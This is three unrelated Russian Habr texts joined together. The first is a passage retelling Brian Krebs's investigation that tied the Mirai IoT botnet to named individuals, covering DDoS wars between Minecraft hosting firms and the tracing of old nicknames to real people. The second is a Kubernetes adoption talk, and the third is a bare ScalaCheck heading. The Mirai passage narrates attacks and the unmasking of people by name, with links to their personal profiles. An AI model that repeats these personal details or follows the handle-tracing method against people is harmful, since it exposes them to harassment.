Вице-президент компании ProxyPipe Роберт Коэльо (Robert Coelho) рассказал Брайану Кребсу, что малолетний конкурент Кристофер Скулти даже угрожал отключить его скайп-аккаунт после обнаружения уязвимости в Skype и выхода соответствующего эксплойта. Через несколько минут после этого аккаунты Skype вице-президента и нескольких сотрудников действительно отключились. Затем началась мощная DDoS-атака на клиентов компании.
Компания ProTraf Solutions неоднократно проводила атаки на компанию ProxyPipe, чтобы переманить Minecraft-серверы из под её защиты к себе. Руководство ProxyPipe предупреждало клиентов, что атаку осуществляет ProTraf Solutions, но несмотря на это, часть клиентов всё равно перешло к конкуренту.
После этой истории Брайан Кребс припомнил, что Кристофер Скулти связывался с ним тоже по Skype несколько раз, обсуждая уязвимости в устройствах интернета вещей, а также выражал неудовольствие по поводу [статьи](https://krebsonsecurity.com/2016/09/ddos-mitigation-firm-has-history-of-hijacks/), в которой Брайан Кребс упомянул имя подростка. Брайан не придал значения этим разговорам и просто заблокировал его Skype-аккаунт.
Через шесть месяцев после того разговора к нему пришла DDoS-атака на 620 Гбит/с.
Вполне вероятно было предположить, что Кристофер Скулти является членом той группировки *lelddos*, которая специализировалась на атаках серверов Minecraft. В атаках на ProxyPipe через ботнет из устройств интернета вещей участвовала ещё одна компания FastReturn, которая специализируется на защите серверов Minecraft от DDoS-атак. По совпадению, владелец этой фирмы, молодой человек из Дубаи по имени [Анмар Зубери](https://www.facebook.com/messages/ammarzuberi1) (Ammar Zuberi) вскоре перешёл на работу в ProTraf в качестве программиста и перевёл к новому работодателю свои активы (адресное пространство). Зубери заявил Кребсу, что он не является членом группировки *lelddos*, а вот его коллега Кристофер Скулти — является, также как два других сооснователя ProTraf. Из других источников тоже подтвердилась слухи, что 19-летний сооснователь компании Иосия Уайт (Josiah White) является основным автором червя Bashlite/Qbot. В [резюме](https://www.linkedin.com/in/josiah-white-16933811b) этого программиста написано, что он является специалистом по защите от DDoS. Этот специалист много лет известен на хакерских форумах Hackforums под ником LiteSpeed. Именно на тех форумах, где активно [шла торговля услугами стрессеров](http://blog.cari.net/carisirt-yet-another-bmc-vulnerability-and-some-added-extras/).
В интервью Кребсу парень подтвердил, что действительно написал некоторые компоненты Bashlite/Qbot, но никогда не использовал червя в незаконных целях и не предлагал свои услуги за деньги.
Однако Иосия Уайт вспомнил одного хакера под ником Vyp0r, который заставил его опубликовать исходный код в онлайне под угрозой публикации в онлайне приватной информации о нём и [сваттинга](https://en.wikipedia.org/wiki/Swatting) (вызов наряда спецназа домой к жертве после анонимного звонка).
В конце концов, Брайан Кребс собрал информацию о президенте компании ProTraf — некоем программисте по имени Парас Джа (Paras Jha).
Он не только опытный программист, но и несколько лет работал в компании Minetime, владевшей одним из популярных серверов Minecraft для своего времени.
Во время изучения профиля Парас Джа на Брайана Кребса снизошло озарение: именно такой же профиль с сочетанием программистских качеств и языков программирования соответствует виртуалу Anna Senpai! Высокий профессионализм Anna Senpai стал понятен ещё после сообщения на форуме 10 июля 2016 года о «бот-киллере», который заразит устройства интернета вещей и заблокирует порт telnet, не допуская перехвата управления со стороны других червей. Тогда хакеру никто не поверил, но в итоге бот-киллер [действительно распространился по Сети](https://www.flashpoint-intel.com/mirai-iot-understanding-ddos-impact/), похоронив Mirai и другие клоны.
Самое очевидное доказательство идентичности Параса Джа и Anna Senpai — большое сходство опыта программирования в профиле Параса на LinkedIn и в заявке на регистрацию на форуме, которую подал Anna Senpai (ASM, C, Go, Java, C# и PHP, опыт работы тоже совпадает).
И ботнет Mirai тоже был написан на языке программирования Go.
Брайан Кребс провёл тщательное расследование и собрал дополнительные дказательства, которые указывают на идентичность Параса Джа и Anna Senpai. В интернет-архиве он нашёл сайт на домене *parasjha.info*, который отец Параса Джа зарегистрировал для своего сына. Маленький Парас писал, что увлекается играми Minecraft и мечтает работать в этой индустрии, когда вырастет. Там же школьник упомянул свой тогдашний ник *dreadiscool*.
Начав доксить по этому нику, Брайан Кребс нашёл ряд аккаунтов и начал раскручивать онлайновую личность Параса, в которых тот обсуждал всё: от технических программистских тем до DDoS-атак. В некоторых его сообщениях уже тогда проскакивала тема аниме, как видно на этой отредактированной фотографии, которую *dreadiscool* [установил в качестве аватара](https://archive.is/lsV3L) на майнкрафтовском форуме spigotmc.org.
Тема из «Криминального чтива» демонстрирует, как рождалась криминальная личность Параса, а анимешная девочка показывает рождение виртуала Anna Senpai.
Неудивительно, что пользователь *dreadiscool* [зарегистрирован](https://myanimelist.net/animelist/dreadiscool) на анимешном сайте MyAnimeList.net. Там перечислены названия десяти сериалов, которые он смотрел — среди них есть и сериал [Mirai Nikki](https://myanimelist.net/anime/10620/Mirai_Nikki_TV).
Паззл сложился.
Брайан Кребс публикует и другие собранные им доказательства, в том числе приводит названием украинского хостера BlazingFast.io, через которого происходило управление ботнетом Mirai и [другими ботнетами](https://fatalityforum.net/printthread.php?tid=6789). Более того, Anna Senpai вступил в переписку с Робертом Коэльо после того, как последнему удалось добиться блокировки управляющих серверов Mirai на украинском хостинге. Кстати, во время беседы он упомянул, что недавно пересматривал Mirai Nikki ([лог чата](https://krebsonsecurity.com/wp-content/uploads/2017/01/annasenpaichat.txt), Роберт Коэльо под ником *katie.onis*).
В конце концов, Брайан Кребс получил окончательное доказательство: Анмар Зубери сообщил, что в ноябре 2016 года Джа признался в совершении атаки через ботнет Mirai. Он сделал признание под давлением Зубери. Тот предъявил претензии бывшему партнёру, почему код Mirai опубликован через домен santasbigcandycane.cx, зарегистрированный через секретного регистратора Namecentral, о котором знали всего пять человек, включая их двоих. Тот улыбаясь признался, что это действительно он, и с гордостью показал текстовые сообщения от агента ФБР, который расследует дело Mirai.
На свободе любитель аниме останется недолго. | https://habr.com/ru/post/400877/ | null | ru | null |
# Kubernetes для тех, кому за 30. Николай Сивко (2018г)
Мы в okmeter.io в какой-то момент поняли, что нам тоже нужен k8s в production, хотя у нас нет даже CI/CD, но есть задача делить общий пул серверов между приложениями и достаточно легко добавлять мощности в кластер. При этом был ряд обстоятельств, которые усложняли внедрение k8s:
* мы очень заботимся об отказоустойчивости (мы не притаскиваем новые технологии в prod, пока не разберемся в них на достаточном уровне);
* у нас есть сервисы со временем ответа меньше 10ms;
* у нас очень мало человеческих ресурсов на эту задачу (узнать 10 новых терминов ОК, 50 — уже нет).
**Примечание**: Доклад 2018 года и некоторые вещи, issue или что еще могло поменяться.
Меня зовут Николай. Я работаю в Okmeter.io. Мы делаем сервис мониторинга. Я имею немаленький опыт администрирования, даже руководил эксплуатацией. Сейчас моя работа полуадминская, менеджерская и связана с разработками. И это все относится к администрированию.
Зачем я сюда пришел и что я хочу рассказать?
Мне кажется, что мой опыт ценен тем, что мне в данный момент по долгу службы приходится совмещать много ролей одновременно, поэтому бизнес хочет, админ хочет делать и разработчики тоже хотят – это все происходит внутри головы.
Я буду рассказывать про наш опыт внедрения Kubernetes.
Мы будем говорить про нашу серверную часть.
У нас есть Okmeter.io. Он состоит из двух частей:
* Это агент, который ставится на сервера наших клиентов, который собирает метрики, auto discovery.
* И это серверная часть, облачная.
Серверная часть состоит:
* Из нескольких сервисов, их не так много, т. е. они не настолько микро, как должны быть по всем тенденциям. Они написаны на Python или на Go.
* И у нас есть какое-то количество баз данных, систем хранений. Есть Kafka, Cassandra, Elasticsearch, PostgreSQL.
* Все это работает на железе. Мы не используем виртуалки ни свои, ни чужие, потому что нам очень важно latency. Производительность и цена тоже важны.
* И в плане DevOps мы некультурные граждане, у нас нет CI/CD, pipeline. И кто накосячил, тот и отвечает.
* Есть нагрузка. Эта нагрузка большая не потому, что пользователи часто смотрят графики (такой нагрузки не так много), а потому что агенты шлют очень много метрик. И их надо писать, и с ними надо работать. На read работают не только люди, но и триггеры. Они их постоянно читают. Соответственно, нагрузка есть как на запись, так и на чтение.
* И мы растем достаточно активно как в клиентах, так и хостах, и в метриках, которые с них снимаются, поэтому масштабирование для нас – это не то, что будет через 2 года, когда все станет классно, а то, что происходит ежедневно и сейчас.
* И требования по отказоустойчивости.
Начну издалека, зачем все это надо.
Первая версия нашего сервиса была написана на Google App Engine. У нас не было никаких серверов. Но стало быстро понятно, что оно не работает под нагрузкой. И мы решили мигрировать.
Сначала мигрировали в облако, в виртуалку, а потом мигрировали на железо. Увидели, как latency упало на порядок. И на железе мы остались.
Соответственно, у нас было сколько-то серверов. И на всех было всё. На каждом была Cassandra, Elasticsearch, куски Go и Python.
Не хотелось софтово выделять больше памяти, поэтому мы взяли железки с большим количеством памяти и отнесли туда Elasticsearch.
Соответственно, Elasticsearch всю машину целиком догрузить не могли, мы ее догрузили сервисами, которые прожорливые по CPU. В нашем случае на Python.
Дальше у нас начали появляться другие сервисы. У нас стали появляться не только сервисы, когда бэкенд есть на Go и он stateless, и он мало весит, и ему нужно процессора и памяти чуть-чуть, но у нас есть и сервисы, которым нужно много памяти, которые по CPU сильно прожорливые и их нужно где-то размещать.
Соответственно, появился третий тип машин. Где машины были недогружены, на них подселяли сервисы, которые требовали ресурсов тех или иных.
С какими проблемами мы столкнулись?
* Все это было на Ansible и, в принципе, не было никаких проблем, кроме того, что маппинг server -> roles стал неоднозначным и достаточно сложным. Этим было сложно управлять.
* И деплоиться бесшовно, чтобы не единого разрыва не было. Это на Ansible написать сложно, потому что вам нужно вырубать машину на балансере, чтобы вообще было идеально. Я не говорю, что нельзя, я говорю, что это сложно.
* И все, кто пользуется Ansible, знают, что в нем не жило бы ничего, если бы там не было тегов. Самая частая операция – это запустить playbooks с тегом. Соответственно, в этом есть потенциальная проблема для бизнеса, что целиком playbooks не тестируются на production. Они не запускаются никогда, потому что они работают настолько долго, что можно состариться буквально. Человек, изменяя маленький кусочек конфига не будет прогонять всю эту штуку.
Как был устроен процесс, когда нам нужно пристроить еще один сервис, instance, приложение?
* Мы смотрим на inventory. Примерно в голове считаем, что этот сервис столько-то того и столько-то сего потребляет.
* Смотрим факт в мониторинге. И вычисляем, куда бы это пристроить, чтобы меньше всего болело. Иногда приходим к выводу, что нам нужна новая машина. И пристраиваем.
Соответственно, управление ресурсами настолько стало болеть, что мы задумались о том, что пора шагнуть в пропасть.
* И по концепции, по маркетинговой документации Kubernetes стало понятно, что там все это есть. И есть ровно в тех абстракциях, в которых мы хотим.
* Мы хотим, чтобы сервис мог забронировать себе место на машине, т. е. мог сказать, что мне нужно минимум два ядра, два гигабайта, дай мне их, пожалуйста, и никому больше не давай, если я взял.
* И есть лимиты, т. е. Request + Limit – то, что нужно.
Мы не готовы влезать со всеми потрохами в кишки Kubernetes. И мы не готовы жертвовать управляемостью контроля. Т. е. если сейчас у нас есть сервисы и они падают, то мы знаем, что с этим делать. Мы знаем, как задеплоить новую машину, мы знаем, как добавить instances. И мы знаем, что если наше приложение убило OOM killer, то мы знаем, где это посмотреть. Мы не хотим дополнительную абстракцию, за которой мы не будем понимать, что происходит.
У нас отказоустойчивость, как у системы мониторинга, на первом месте, потому что наш мониторинг в трех слоях исполнен. У нас три слоя мониторинга мониторинга.
Когда вы говорите, что у вас есть health checks и ваши сервисы всегда будут работать, то я всегда читаю между строк и вижу кучу неправдоподобной информации. Соответственно, я выписал страхи, которые у меня возникли.
Ansible был простой и понятный. Чем мне понравился Ansible? Тем, что пока вы его не запустили, ничего не происходит. Когда вы его запустили, он как будто руками сделал всю работу за вас и это круто. Ansible, на мой взгляд, получил свою популярность ровно поэтому.
Kubernetes, на первый взгляд, сложный. Он постоянно чем-то управляет. И для человека, который хотел только управлять ресурсами, это кажется over kill.
Если начать себя успокаивать и посмотреть на это с другой стороны, что здесь страшного? Я выделил две вещи:
* Первое — раньше вы знали, где и что будет запущено, теперь маппинг становится динамическим.
* Второе – Ansible по вашему запросу начинал приводить систему в то состояние, в которое вы хотите, а Kubernetes делает это постоянно.
И как привести поведение Kubernetes к тому, что было в Ansible? Вы запускаете Kubernetes apply, он все делает, вы гасите все управляторы, т. е. ваши запущенные докер-контейнеры, снапшоты, состояние систем. Мы подумали, что – это прикольно и ничем не отличается оттого, что было.
А потом вы начинаете думать, зачем я буду это выключать? И в каких случая он без вас будет что-то там делать? Это те случаи, когда нода умерла или вы ее вывели из эксплуатации руками. А также, когда у вас умер непоправимо pod. И в этих ситуациях вы, скорее всего, руками запускали Ansible. По сути, если разобраться, то коренным образом ничего не меняется.
Почему нас пугал динамический маппинг? Потому он притаскивает service discovery. У нас его не было, все было статично. И в конфигах nginx, и в других балансерах были прописаны upstream’ы. Т. е. у нас его не было. И это само по себе изменение. Я хотел распределять ресурсами, а сейчас мне говорят, что у меня будут service discovery. И это странно. На этом этапе я все еще готов идти в сторону Kubernetes.
Сложно эксплуатировать, потому что это отдельная абстракция. Есть некая штука, которая знает, где и что работает. И у нее по каким-то протоколам надо спрашивать, где и что живет. Это либо DNS, либо ETCD. Но по большому счету это дополнительный слой, который нужно поддерживать, а он может сломаться и т. д.
Мы говорим, что хорошо, у нас сервисы, мы даже знаем, сколько их будет. И чтобы не думать и не контролировать работает или не работает, то нам нужно хорошенько запариться над readiness/ liveness-пробами. И надо сделать так, чтобы то, что отдает curl, ваши мнимые проверки на жизнеспособность были закодированы, и Kubernetes именно их использовал.
Как у нас раньше было? Идет список айпишников, pull из десяти бэкендов. Один выключили, трафик пошел на соседей, его обратно включили и все хорошо. Сейчас у вас появляется новый pod, новый IP, новый балансер. И весь pull сменился. И чтобы это переживать в нормальной ситуации без единого разрыва, нужно хорошо запариться над балансировщиками. Это задача, которую вам придется решать, если вы не хотите отказов.
И когда у вас есть кривой случай, когда балансировщик уже начал отдавать запрос клиенту, то в этот момент вы pod останавливаете. И балансер, как бы классно он не был настроен, он сделать ничего не может. Поэтому graceful shutdown должен у вас быть. И вы над этим паритесь. Мы над этим уже парились, поэтому не так страшно было.
Контроль и управляемость. Вам нужны логи, вам RequestID, вам нужен tracing, потому что у вас сервисы друг к другу ходят, все на не понятно каких айпишниках, которые нигде не фиксируются. И задним числом понять, что это был за pod и где он работал – это сложно, надо соломки подстелить.
Третий самый жесткий страх – это сеть. Внедряем Kubernetes, чтобы распределять ресурсы, а мне говорят, что вместо твоей классной L2 сети, у тебя теперь будет нечто такое, о чем ты вообще не имеешь представления.
И когда ты лезешь в доку, и говоришь, как будет организована моя сеть? Тебе говорят, что есть 20 плагинов, бери любой. Что такое любой? И начинается. Один работает по bgp. Я знаю, что такое bgp. Но какой еще bgp в сети из 10 компьютеров?
А потом дока Kubernetes говорят, что будет service discovery и мы тебе iptables настроим, т. е. у нас есть daemon, который следит за всеми изменениями и настроит тебе iptables. И я сразу стал представлять, как я буду это дебажить. И мне стало грустно, и на полушаге был оттого, чтобы развернуться и сказать, что нет, я слишком стар для этого.
В итоге начинается самоуспокоение. Давайте откинем из 20 плагинов все, кто предлагает инкапсулировать наш трафик. И если с iptables еще могу смириться, то с инкапсуляциями не хочу работать.
И я знал, что есть такая штука, когда вы можете на аппаратной виртуализации построить плоскую сесть. У вас будет у хоста IP и у pod’а будет IP из этой же сети. Это очень круто, это делается на современном железе влет. Это называется SR-IOV. Это виртуализация, когда у вас один сетевой адаптер умеет распочковаться на 128 виртуальных функций. И там стоит мини switch в адаптере. И он позволяет сделать плоскую сеть. Я подумал, что это то, что надо.
Я протестировал, это работает. У вас реально плоская сеть. Это все работает, но у нас в одном дата-центре, в котором мы размещаемся, это было, а во втором нет. Поэтому начали искать что-то более молодежное. Остановились на flannel host-gw. Это когда у вас на каждой ноде выделяется своя 24-ая сеть и статические маршруты. Понятно, что статические маршруты не из воздуха берутся, а там дискаверятся как-то. Но я решил, что надо остановить свой поток паранойи и смириться с этим.
Когда я увидел iptables kube-proxy, то я стал искать вариант, как выключить iptables при работе Kubernetes. В Google написано, что нельзя. Ерунда полная. Нашлись headless services и это стало спасением.
Что нужно физически сделать?
* Подготовить приложения, чтобы их можно было запаковать в сущность K8s и задеплоить.
* Отработать процесс, как мы будем инициировать раскатку, у нас нет CI/CD.
* Протестировать отказы. Т. е. что будет, когда этот процесс на этом сервисе умрет? Это нужно протестировать, чтобы иметь контроль и не потерять его.
* Протестировать и развернуть кластер для production именно с отказоустойчивостью.
Расскажу, как это было у нас:
* Все наши приложения нужно было подготовить к тому, что они будет работать в K8s. В docker мы их уже завернули, потому что это удобно, особенно в Python. В Go – не особо важно. Оно как и процессом запускалось без пакетирования, так и в docker было завернуть не проблемой. Поэтому для единообразия решили все завернуть.
* Конфиги в нашем деплое с docker монтировались с хоста. Ansible клал на хост конфиг и говорил docker: «Ты либо его стартуй, либо рестартанись, если конфиг изменился».
* И нам не нужно не только деплоить, но еще и реконфигурировать. Это достаточно частой была процедура.
Я читаю документацию. Хорошо, я кладу конфиги куда-то в etcd, называю это ConfigMap, а потом монтирую в контейнер. И думаю, что это классно. А потом мне говорят, что нельзя сделать reconfig. Ты поменял конфиг, а приложению никто об этом не скажет.
И только Helm сможет нам помочь. Но я подумал, что к этому я не готов.
Но выясняется, что дело не в Helm. Для того чтобы обеспечить атомарность update/ rollback каждого pod’а, нужен immutable ConfigMap, потому что на него ссылается ваше приложение. И если вы поменяли, и вдруг знание о том, что оно поменялось, распространилось, то это значит, что у вас произошел не rolling update, а одномоментный, атомарный. И это проблема, потому что это не контролируется. Вы не знаете хороший ли это конфиг или плохой. В тесте он был хорошим, а в production другие условия, и он может быть плохим. И вам нужен идемпотентный ConfigMap, и нужно раскатывать новую версию с новой версией ConfigMag.
Сейчас, насколько я понимаю, единственный способ сделать правильно – это переменные окружения.
Переменные окружения – это то, что написано в спецификации прямо в спеке. Это приложение запускается с таким-то снапшотом конфига. И тот pod, который порожден, он действительно immutable. И мы решили, что это нормально. И тем более, что можно не брать Helm.
Мы сделали простейшие изменения. Go-сервис читал файл, разбирал YAML и получал структуру конфига кастомную. Мы не стали описывать, что есть такая-то переменная окружения, есть такая-то. Мы в одну переменную запихнули YAML, и никому больно от этого не стало. Изменения – это одна строчка в коде.
Python в случае с Django делается примерно также. Settings.py – это интерпретируемый кусок кода. Вы там читаете переменную и все остальные settings оттуда набиваете. Это заняло полдня на все сервисы.
Но конфиги надо шаблонизировать, потому что, как минимум, у нас в K8s не было планов сейчас втаскивать stateful наши сервисы. Им нужно объяснить, что вот твои: Cassandra, Kafka. А у нас есть два дата-центра, в которых это один набор, это другой набор.
Понятно, что шаблонизировать надо, но был Ansible. Ansible мы выкинуть не можем, потому что банально кто-но на железке K8s ставить должен. Поэтому почему бы им не шаблонизировать спеки?
И деплой в Kubernetes – это запуск Ansible playbook. И здесь нет изменений в процессе. И это классно. И как раньше мы запускали playbook, и все деплоилось, так и сейчас, только под капотом там сейчас встал K8s.
И в production стало чуть-чуть по-другому управляться.
Управление ресурсами мы используем на полную катушку. Мы используем request/ limit.
В облаке надо мониторить, мы мониторим сами себя и всех своих клиентов, естественно. Мы смотрим использование CPU как процент от лимита. И это классно. Мы видим, что эти pod’ы подбираются. И мониторим, что кто-то там начал троттлиться, если говорить про CPU.
Если говорить про память, то с памятью все просто. Вы ее залимитили, но надо понимать, что если у вас балансировка более-менее нормальная, то OOM Killer придет ко всем сразу. И это проблема, потому что сервис может стартовать не за 100 миллисекунд, а за несколько секунд.
И для этого очередной костыль – это делать несколько deployments одного и того же с чуть-чуть измененным лимитом. И когда вы делается сервис для того, чтобы закетчить это все, вы пишите selector настолько широкий, чтобы он поймал pod обоих deployments. И OOM Killer никуда не денется, он обязательно придет. Но он придет с дельтой во времени. И первый deployment уже отрестартится, и все будет хорошо. Это то, с чем мы столкнулись.
У нас приложение взрывалось по памяти из-за какого-то внешнего запроса. Оно стартовало, приходил запрос – оно падало. Частый рестарт в K8s есть back-off. Это когда следующий рестарт происходит с задержкой. Она ограничена по дефолту пяти минутами.
Мы это все исправили, мы перекрыли вход таких запросов, оно перестало падать, но они были все в состоянии типа …, потому что back-off не истек.
Соответственно, мы руками спровоцировали rollout, чтобы не ждать. Это тоже такая неочевидная штука. Мы достаточно долго понимали, что происходит. Они все висели в ожидании того, когда следующая попытка будет, а мы уже все исправили. Т. е. система была не отзывчива к восстановлению. Соответственно, спровоцировали это все руками.
Проблема, о которой я говорил, с сервисами, с iptables и headless. Что это такое в двух словах? У нас есть selector, который выбирает pod’ы, на которых будем балансировать. У каждого pod’а есть readiness probe, когда он готов отвечать. Из всего этого получается endpoint, куда мы можем слать живые, т. е. endpoint – это список живых pod’ов.
Виртуальный IP сервис. Выделяется IP, по которому из любой точки в кластер вы обращаетесь и попадаете на живой pod.
Реализовано это проксированием этого виртуально IP. Он нигде не поднят, нигде не существует. Но когда вы туда идете, iptables или другой метод проксирования, перехватывает и отправляет его на один из upstream, который он знает.
И каждому сервису выделяется DNS-имя.
В чем тут история? У вас есть нода, на которой работает pod. Его readiness probe осуществляет kubelet на этой же ноде. Его проверяют локально. И когда его состояние изменяется, информация об этом kubelet’ом доносится в apiserver.
Далее попадает в kube-proxy на каждой ноде. И kube-proxy перестраивает набор правил проксирования. И у вас меняется топология для того, кто клиент.
Какие в этом есть проблемы?
* Probes не является никакой гарантией. Если у вас сервис ответил на пробу, не факт, что он живой.
* Это интервал раз в секунду. Между секундой 10 000 rps, посчитайте, сколько запросов проходит.
* Задержка обновления статуса. Kubelet -> apiserver -> kube-proxy-> iptables. И все это, если еще работает.
* Что будет, если kubelet не сможет запостить проб в apiserver? Выкинет ли его kube-proxy его из iptables? Я не стал исследовать это, чтобы себя не расстраивать.
* И если вдруг получилось так, что вы в iptables попали на дохлый pod, то у вас нет шансов. Вы, как клиент, никогда не получите успешный ответ. Нет retries.
Соответственно, headless service – это тоже самое, только без всякой ереси.
У вас есть живые сервисы. И вы их список можете получить либо по etcd, либо через apiserver, либо через DNS.
В нашем случае мы используем envoy, потому что нам нужен L7, чтобы делать retry. Если у нас http, то retry может сделать только тот, кто видит статус запроса. Соответственно, чтобы видеть статус запроса, он должен понимать application level протокол. Если он его понимает, то какой самый классный балансировщик? Envoy.
Мы его не внедряли никуда. Мы просто взяли envoy. Он умеет DNS. У K8s есть DNS, который отдает все endpoints. Все классно, все срастается. Он устраивает нас по фичам, берем.
Мы envoy запускаем не как DeamonSet, а используем, как sidecar container. Почему? Из-за гранулярности изменений.
Если envoy, вы меняете что-то, начинаете деплоить, если вы его измените на машине, то поведение всех pod’ов на этой машине изменится. Это не круто. Нужна более маленькая гранулярность. Мы хотим запустить rolling-update. Что-то упало, например, один pod у нас валяется и ничего страшного.
И гранулярность отказов. Т. е. у envoy нет встроенного `nginx -t`. Он не может сам прочитать свой конфиг и сказать устраивает он его или нет. Если вы будете это деплоить, он скажет: «Извините, конфиг у тебя не особо». И упадает. Соответственно, все pod’ы на ноде упадут.
И мы решили, что sidecar классно ложится на концепцию и управляемость. Плюс мы не такой гигантский конфиг envoy имеем, а кучу маленьких.
Это примерно выглядит вот так. Это пример конфиг envoy. Мы говорим хосту, что ты будешь resolve имя сервиса, который мы создали, вот тебе 3 DNS. Пока у нас клиент посылает запрос, envoy в этот момент ничего не resolve. И это классно. Т. е. он делает в фоне постоянно, плюс у него свои health check, плюс у него retry.
Все говорят, что нам service mesh нужен. Нам не нужен service mesh, потому что это сложно. Потому что у нас маленькая команда. И нам не будет от этого пользы, мы поимеем еще один сложный слой.
Если вы хотите втащить какой-то компонент к себе, то сходите на GitHub и посмотрите, какое количество кода в нем есть. Меня ужасает количество строчек кода в envoy. Но я к нему теплое чувство испытываю, а к istio я не испытываю никаких чувств, но там тоже много строчек кода. И я не хочу про это все знать.
Мы тоже не используем ingress-контроллеры. У нас есть внешние машины с внешними IP, они не в K8s-кластере. Там нельзя сказать K8s, чтобы он не использовал внешний интерфейс, а мне это не нравится.
На каждой ноде есть DaemonSet с envoy, который как входная точка используется. DaemonSet – это классная точка опоры. Вы знаете IP нод, и если там стоит DaemonSet, то вы можете на IP ноды прописать куда-то сверху. И вам не нужно дискаверить. Вы прописали 3 мастер-ноды или 4, 5, 10 в upstream и все.
Отказы DaemonSet и его rolling обрабатывает внешний балансировщик.
Не ingress controller, потому что я не хочу знать и отдельно ботать, как мне в nginx пропихнуть такой тайм-аут сквозь писание сущности ingress в K8s. В пределе я понимаю, что эта задача решается кастомизацией контроллера. И в пределе у меня будет свой контроллер. И, более того, той envoy, который в DaemonSet, на самом деле ingress controller. Но я не хочу пока это адаптировать. Меня устраивает DaemonSet, я не парюсь. Я не делаю себе отдельную абстракцию в виде ingress.
Есть инструкция, которая позволяет вам его сделать. Там есть миллион неточностей.
Kubespray – это такая штука, которую запускаешь, приходишь через 20 минут и там у тебя есть K8s-кластер.
Но у нас есть образовательная задача, нам нужно понять, как это будет работать, чтобы понять, как это упадает. А чтобы понять, как это упадет, нужно развернуть ее целиком.
Свой playbook пишется за день.
Какие проблемы я там встретил?
Есть etcd c apiserver’ами. Их много. Но у них full mesh.
Но есть тикет, что Kubelet не умеет ходить в …, поэтому перед ним нужно поставить балансировщик. Это дичь, это просто мы костыль подставили, т. е. статический pod на каждую ноду, который знает айпишники мастеров и умеет туда разбалансить. Но тикет этот починят, и этот слой уберется.
Мы используем CoreDNS. Он поставляется в deployment. Но когда у меня есть deployment, то они вынуждают меня использовать iptables, а я не хочу.
И поэтому чтобы не использовать iptables, мы берем и конвертируем DNS из deployment в DaemonSet. Таким образом, у нас получает три точки опоры, это айпишники наших мастеров. Когда нам нужно гарантированно удачно ходить в DNS мы ходим по этим айпишникам, и кто-то, да ответит.
У нас 3 мастера + N не мастеров. На мастерах работает живая нагрузка, потому что у нас не виртуалки, у нас жирные машины и их лень резать. Я считаю, что это как Ansible. Ему не нужны ресурсы, он там сам управляет.
Так как мы Stateful-сервисы не вешаем, мы их вешаем на эти же машины, но снаружи. Мы их залимитчиваем по ресурсу.
Это пример, когда для Kafka отрезали 4 ядра и 10 гигабайтов. И Kubelet сказали, что у него нет этих ресурсов. Таким образом, никакого overbooked на машине не происходит.
Я нарисовал это, чтобы показать, как flannel работает. У вас pod’ы. На машине выделяется сетка. На этой машине сетка 1/0. У pod’ов выделяются айпишники из этой сети. Статический маршрут до соседей. Т. е. на все эти вторые машины иди через эту. Все просто, паранойю успокаивает.
Стальные машины, которые там были, они начинают быть за кластером. И у вас получается, что работает, так называемый, egress, когда вы выходите из машины, из кластера. В flannel надо отключить NAT. Мы на эти машины руками добавили статический маршрут до всех сетей pod’ов всех машин.
И когда мы переключаемся, нам нужно соединить две машины. Мы не хотим там NAT.
* Это все было сделано за месяц. Нам пришлось выкинуть все лишнее и не забивать себе голову.
* Упрощали везде, где можно. Нам приходилось думать немножко, но потом в эксплуатации все компенсируется.
* Какое-то количество граблей с сервисом и т. д. обошли, просто внимательно посмотрев на дизайн, как оно работает. Я призываю всех, если вы что-то втаскиваете, смотрите на дизайн. Когда вы видите в дизайне 3 движущиеся части, то вы понимаете, что одна умрет, все разрушится, то вы начинаете из этого искать обходной путь.
* И я не претендую на то, что это эталонное внедрение Kubernetes, меня оно устраивает с точки зрения того, что я это все контролирую. Я все понимаю, я знаю, как это масштабировать.
Картинка отображает что я думал о Kubernetes месяц назад.
На самом деле Kubernetes сложнее.
Надеюсь, было полезно. Спасибо!
Вопросы:
*Николай, спасибо за доклад! Начиналось все с управления ресурсов и follower, потом была борьба с ветряными мельницами, где вы, чтобы получить достаточно простой функционал, боретесь с Kubernetes, а смотрели ли вы какие-то другие средства управления? Или была задача именно Kubernetes запилить напильником?*
Помимо здравого смысла, есть чуйка, что Kubernetes будет жить. Это факт уже, мы не можем с ним спорить. У нас помимо этого есть шкурный интерес, нам его мониторить надо было научиться. Мы научились. А не поставив себе, не научишься.
Если разобраться философски, почему так происходит, когда ты хочешь одного, а тебе приносят другое, то оно следует из того, что вы хотите управлять ресурсами, вы не ходите думать, куда впихнуть эту штуку, поэтому эта штука теоретически может уехать на любую из машин. Оп, и вы получили service discovery тут же. И у нас этого просто не было, мы старались перешагивать через ненужное, а с нужным мириться, поэтому что понятно, почему оно появилось.
*Привет! У вас была куча Stateful-сервисов и ты говоришь, что вынесли их за кластер. А как вы их мониторите и как обеспечили HA для точки входа? Размещали HAProxy внутри K8s?*
В Cassandra отказоустойчивость на уровне клиента. Он понимает, что вот эта нода хорошая, а это плохая. Он знает их все. У него в endpoints не один IP балансера, а несколько.
*А Postgres?*
Postgres так не может. С Postgres’ом особая история, т. е. есть мастер, есть реплика. Приложение знает, где мастер, где реплики. У нас в Postgres вот столько-то данных. И он используется там, где мы еще не придумали, как этот набор данных натянуть что-то, что отказоустойчиво. По большому счету Postgres падает, у нас все работает.
*Николай, добрый день! Спасибо за доклад! Хотел спросить про latency. Вы вначале говорили, что виртуалки не использовали, потому что latency не нравилось. А здесь, как стало?*
Выходит пакет. Проходит статический маршрут. И все. А в iptables он не идет, поэтому все хорошо. А если был бы iptables, то было бы все плохо. И так как мы ему проложили дорожку, где его на КПП не остановят, то все хорошо.
*Вы говорили про 20 плагинов. Что-то стоящее там есть?*
Мы flannel взяли.
*А, допустим, если мы хотим Open vSwitch внутри полный сделать?*
Я как раз боюсь этих слов. Мы сделали мониторинг K8s запилили, нам нужно было сделать тестовый стенд на виртуалках для того, чтобы демо мониторинга сделать. Там по дефолту Kubespray развернул Calico. Оно работает, но я не понимаю, как оно работает. Мы не гоняли там никакие benchmarks, как оно работает, я не знаю. И как сломается, я не знаю. Я знаю, как flannel сломается, я к этому готов. А как сломаются все остальные 19 плагинов, я не знаю.
*Этот вопрос интересен в плане защиты данных, чтобы разделять защищенную сеть, незащищенную.*
Мы в этом плане блаженны, у нас ничего такого нет.
*Вам очень везет.*
Все, спасибо! | https://habr.com/ru/post/519504/ | null | ru | null |
# Про ScalaCheck. Генераторы (Часть 2)
**Часть 2. Генераторы**
